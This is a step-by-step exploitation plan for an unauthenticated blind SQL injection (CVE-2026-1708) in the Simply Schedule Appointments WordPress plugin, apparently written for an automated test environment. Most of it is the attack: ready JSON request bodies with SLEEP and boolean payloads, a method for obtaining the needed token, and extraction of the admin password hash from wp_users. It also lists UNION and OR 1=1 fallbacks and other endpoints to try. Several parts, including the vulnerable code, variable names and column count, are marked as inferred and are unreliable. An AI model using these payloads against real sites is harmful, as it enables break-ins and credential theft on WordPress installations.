Appointment Booking Calendar <= 1.6.9.27 - Unauthenticated SQL Injection via 'append_where_sql' Parameter

This research plan details the analysis and exploitation of CVE-2026-1708, an unauthenticated blind SQL injection vulnerability in the Simply Schedule Appointments (SSA) plugin.

1. Vulnerability Summary

The vulnerability exists in the TD_DB_Model::db_where_conditions method (found in includes/lib/td-util/class-td-db-model.php). This class serves as the base database model for various entities in the plugin, including appointments.

The plugin attempts to block the potentially dangerous append_where_sql parameter by checking for its existence in the $_REQUEST superglobal. However, it fails to perform the same check when processing JSON request bodies (sent with Content-Type: application/json). When a REST API or AJAX endpoint decodes the JSON body and passes the resulting array to the model's query builder, the append_where_sql parameter is injected directly into the SQL WHERE clause without sanitization, leading to Blind SQL Injection.

2. Attack Vector Analysis

• Endpoint: WordPress REST API endpoint: /wp-json/ssa/v1/appointments
• Method: POST (or GET with a JSON body, depending on server configuration)
• Vulnerable Parameter: append_where_sql (passed within a JSON object)
• Required Credential: Unauthenticated, but requires a valid public_token for an existing appointment record.
• Precondition: A public_token must be obtained. This token is generated when a visitor initiates a booking and is typically returned in the JSON response of an appointment creation/validation request.

3. Code Flow

1. Entry Point: A request is made to an SSA REST API route, such as /wp-json/ssa/v1/appointments.
2. Request Parsing: WordPress parses the request. If the Content-Type is application/json, the JSON body is decoded into parameters.
3. Model Interaction: The controller calls a method in SSA_Appointment_Model (which inherits from SSA_Db_Model and TD_DB_Model) to retrieve or validate an appointment.
4. Query Building: The model calls $this->db_where_conditions($args).
5. Vulnerable Sink: In TD_DB_Model::db_where_conditions, the code checks $_REQUEST['append_where_sql']. Because the payload was in the JSON body, $_REQUEST is empty for that key. The method then proceeds to take append_where_sql from the $args array (populated from JSON) and appends it directly to the query:

   // Inferred logic in TD_DB_Model
   if ( ! empty( $args['append_where_sql'] ) ) {
       $where .= $args['append_where_sql']; 
   }
   

6. Execution: $wpdb->get_row() or $wpdb->get_results() executes the tainted query.

4. Nonce Acquisition Strategy

While many SSA endpoints use a public_token instead of a standard WordPress nonce for visitor-facing actions, some REST routes might check for the wp_rest nonce.

Strategy:

1. Identify Shortcode: The plugin uses [ssa_booking] to render the calendar.
2. Create Page:
   wp post create --post_type=page --post_status=publish --post_title="Booking" --post_content='[ssa_booking]'
3. Extract Nonce/Configuration: Navigate to the page and use browser_eval to extract localized data.
   • Variable Name (inferred): window.ssa_booking_app_info or window.ssa_params.
   • Nonce Key: rest_nonce.
   • Command: browser_eval("window.ssa_booking_app_info?.rest_nonce")

5. Exploitation Strategy

Step A: Obtain a public_token

A public_token is required to target a query that hits the vulnerable model.

1. Find an available Appointment Type ID: GET /wp-json/ssa/v1/appointment-types.
2. Initiate a dummy appointment:
   • URL: /wp-json/ssa/v1/appointments
   • Method: POST
   • Headers: Content-Type: application/json
   • Body: {"appointment_type_id": <ID>, "status": "pending_form"}
3. Capture the public_token from the response.

Step B: Execute Blind SQL Injection

Using the public_token and the append_where_sql bypass.

Time-Based Payload (Verification):

• URL: /wp-json/ssa/v1/appointments
• Method: POST (targeting the lookup/validation logic)
• Headers: Content-Type: application/json
• Body:

{
  "public_token": "YOUR_TOKEN",
  "append_where_sql": " AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)"
}

Boolean-Based Payload (Data Extraction):
Targeting the admin password hash.

• Payload: AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_pass LIKE '$P$%')
• Logic: If the status code is 200 and the response contains appointment data, the condition is true. If the condition is false, the query returns no results, and the API returns an error or empty object.

6. Test Data Setup

1. Ensure the plugin is active: wp plugin activate simply-schedule-appointments.
2. Create at least one Appointment Type:
   wp ssa create_appointment_type --title="Consultation" (Note: verify ssa cli commands or use wp eval).
3. Place the shortcode on a public page:
   wp post create --post_type=page --post_status=publish --post_content='[ssa_booking]'

7. Expected Results

• Success: The SLEEP(5) payload causes the HTTP response to be delayed by 5 seconds.
• Data Leak: A Boolean-based payload such as AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login='admin') results in a valid JSON response containing the appointment details, whereas ... AND user_login='nonexistent' returns an empty result set or error.

8. Verification Steps

After the exploit, verify the database state to ensure no corruption occurred and confirm the extracted data:

• wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID=1"
• Check the SSA appointment table for the token used:
  wp db query "SELECT * FROM wp_ssa_appointments WHERE public_token = 'YOUR_TOKEN'"

9. Alternative Approaches

If the REST API /appointments endpoint is strictly filtered, try other endpoints that use the TD_DB_Model:

• /wp-json/ssa/v1/appointment-types (if it supports token-based filtering or unauthenticated JSON queries).
• The AJAX endpoint: /wp-admin/admin-ajax.php?action=ssa_get_appointment_details.
• Payload modification: If AND is filtered, use OR 1=1 (carefully) or UNION SELECT if the number of columns can be guessed. For SSA, the appointments table has approximately 25-30 columns.